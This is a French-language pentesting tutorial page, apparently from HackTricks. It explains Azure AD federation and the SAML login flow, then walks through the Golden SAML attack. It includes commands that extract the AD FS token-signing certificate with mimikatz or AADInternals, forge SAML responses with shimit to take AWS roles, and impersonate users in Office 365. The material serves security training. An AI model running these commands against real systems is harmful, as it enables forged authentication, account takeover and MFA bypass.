# Az - Federation

{{#include ../../../../banners/hacktricks-training.md}}

## Basic Information

[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**La fédération** est un ensemble de **domaines** qui ont établi une **confiance**. Le niveau de confiance peut varier, mais inclut généralement **l'authentification** et inclut presque toujours **l'autorisation**. Une fédération typique pourrait inclure un **certain nombre d'organisations** qui ont établi une **confiance** pour un **accès partagé** à un ensemble de ressources.

Vous pouvez **fédérer votre environnement sur site** **avec Azure AD** et utiliser cette fédération pour l'authentification et l'autorisation. Cette méthode de connexion garantit que toute **authentification des utilisateurs se fait sur site**. Cette méthode permet aux administrateurs de mettre en œuvre des niveaux de contrôle d'accès plus rigoureux. La fédération avec **AD FS** et PingFederate est disponible.

<figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>

En gros, dans la fédération, toute **authentification** se fait dans l'environnement **sur site** et l'utilisateur bénéficie d'un SSO à travers tous les environnements de confiance. Par conséquent, les utilisateurs peuvent **accéder** aux applications **cloud** en utilisant leurs **identifiants sur site**.

**Security Assertion Markup Language (SAML)** est utilisé pour **échanger** toutes les **informations** d'authentification et d'autorisation entre les fournisseurs.

Dans toute configuration de fédération, il y a trois parties :

- Utilisateur ou Client
- Fournisseur d'identité (IdP)
- Fournisseur de services (SP)

(Images de https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)

<figure><img src="../../../../images/image (121).png" alt=""><figcaption></figcaption></figure>

1. Initialement, une application (Fournisseur de services ou SP, comme la console AWS ou le client web vSphere) est accessible par un utilisateur. Cette étape peut être contournée, amenant directement le client à l'IdP (Fournisseur d'identité) en fonction de l'implémentation spécifique.
2. Ensuite, le SP identifie l'IdP approprié (par exemple, AD FS, Okta) pour l'authentification de l'utilisateur. Il crée ensuite une AuthnRequest SAML (Security Assertion Markup Language) et redirige le client vers l'IdP choisi.
3. L'IdP prend le relais, authentifiant l'utilisateur. Après l'authentification, une SAMLResponse est formulée par l'IdP et transmise au SP par l'intermédiaire de l'utilisateur.
4. Enfin, le SP évalue la SAMLResponse. Si elle est validée avec succès, impliquant une relation de confiance avec l'IdP, l'utilisateur se voit accorder l'accès. Cela marque la fin du processus de connexion, permettant à l'utilisateur d'utiliser le service.

**Si vous souhaitez en savoir plus sur l'authentification SAML et les attaques courantes, allez à :**

{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
{{#endref}}

## Pivoting

- AD FS est un modèle d'identité basé sur des revendications.
- "..les revendications sont simplement des déclarations (par exemple, nom, identité, groupe), faites à propos des utilisateurs, qui sont utilisées principalement pour autoriser l'accès à des applications basées sur des revendications situées n'importe où sur Internet."
- Les revendications pour un utilisateur sont écrites à l'intérieur des jetons SAML et sont ensuite signées pour fournir la confidentialité par l'IdP.
- Un utilisateur est identifié par ImmutableID. Il est globalement unique et stocké dans Azure AD.
- L'ImmutableID est stocké sur site comme ms-DS-ConsistencyGuid pour l'utilisateur et/ou peut être dérivé du GUID de l'utilisateur.
- Plus d'infos sur [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)

**Attaque Golden SAML :**

- Dans ADFS, la SAML Response est signée par un certificat de signature de jeton.
- Si le certificat est compromis, il est possible de s'authentifier auprès d'Azure AD en tant que n'importe quel utilisateur synchronisé avec Azure AD !
- Tout comme notre abus de PTA, le changement de mot de passe pour un utilisateur ou MFA n'aura aucun effet car nous falsifions la réponse d'authentification.
- Le certificat peut être extrait du serveur AD FS avec des privilèges DA et peut ensuite être utilisé depuis n'importe quelle machine connectée à Internet.
- Plus d'infos sur [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)

### Golden SAML

Le processus par lequel un **Fournisseur d'identité (IdP)** produit une **SAMLResponse** pour autoriser la connexion de l'utilisateur est primordial. En fonction de l'implémentation spécifique de l'IdP, la **réponse** peut être **signée** ou **chiffrée** à l'aide de la **clé privée de l'IdP**. Cette procédure permet au **Fournisseur de services (SP)** de confirmer l'authenticité de la SAMLResponse, garantissant qu'elle a bien été émise par un IdP de confiance.

Un parallèle peut être établi avec l'[attaque du golden ticket](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), où la clé authentifiant l'identité et les permissions de l'utilisateur (KRBTGT pour les golden tickets, clé privée de signature de jeton pour le golden SAML) peut être manipulée pour **forger un objet d'authentification** (TGT ou SAMLResponse). Cela permet d'usurper l'identité de n'importe quel utilisateur, accordant un accès non autorisé au SP.

Les Golden SAML offrent certains avantages :

- Ils peuvent être **créés à distance**, sans avoir besoin de faire partie du domaine ou de la fédération en question.
- Ils restent efficaces même avec **l'authentification à deux facteurs (2FA)** activée.
- La clé privée de signature de jeton **ne se renouvelle pas automatiquement**.
- **Changer le mot de passe d'un utilisateur n'invalide pas** un SAML déjà généré.

#### AWS + AD FS + Golden SAML

[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) est un service Microsoft qui facilite l'**échange sécurisé d'informations d'identité** entre partenaires commerciaux de confiance (fédération). Il permet essentiellement à un service de domaine de partager des identités d'utilisateur avec d'autres fournisseurs de services au sein d'une fédération.

Avec AWS faisant confiance au domaine compromis (dans une fédération), cette vulnérabilité peut être exploitée pour potentiellement **acquérir n'importe quelles permissions dans l'environnement AWS**. L'attaque nécessite la **clé privée utilisée pour signer les objets SAML**, semblable à la nécessité du KRBTGT dans une attaque de golden ticket. L'accès au compte utilisateur AD FS est suffisant pour obtenir cette clé privée.

Les exigences pour exécuter une attaque Golden SAML incluent :

- **Clé privée de signature de jeton**
- **Certificat public de l'IdP**
- **Nom de l'IdP**
- **Nom de rôle (rôle à assumer)**
- Domaine\nom d'utilisateur
- Nom de session de rôle dans AWS
- ID de compte Amazon

_Seuls les éléments en gras sont obligatoires. Les autres peuvent être remplis selon les besoins._

Pour acquérir la **clé privée**, l'accès au **compte utilisateur AD FS** est nécessaire. À partir de là, la clé privée peut être **exportée du magasin personnel** à l'aide d'outils comme [mimikatz](https://github.com/gentilkiwi/mimikatz). Pour rassembler les autres informations requises, vous pouvez utiliser le module Microsoft.Adfs.Powershell comme suit, en vous assurant que vous êtes connecté en tant qu'utilisateur ADFS :
```bash
# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule
```
Avec toutes les informations, il est possible d'oublier un SAMLResponse valide en tant qu'utilisateur que vous souhaitez imiter en utilisant [**shimit**](https://github.com/cyberark/shimit)**:**
```bash
# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml
```
<figure><img src="../../../../images/image (128).png" alt=""><figcaption></figcaption></figure>

### Sur site -> cloud
```bash
# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose
```
Il est également possible de créer un ImmutableID pour les utilisateurs uniquement cloud et de les usurper.
```bash
# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose
```
## Références

- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed)
- [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)

{{#include ../../../../banners/hacktricks-training.md}}
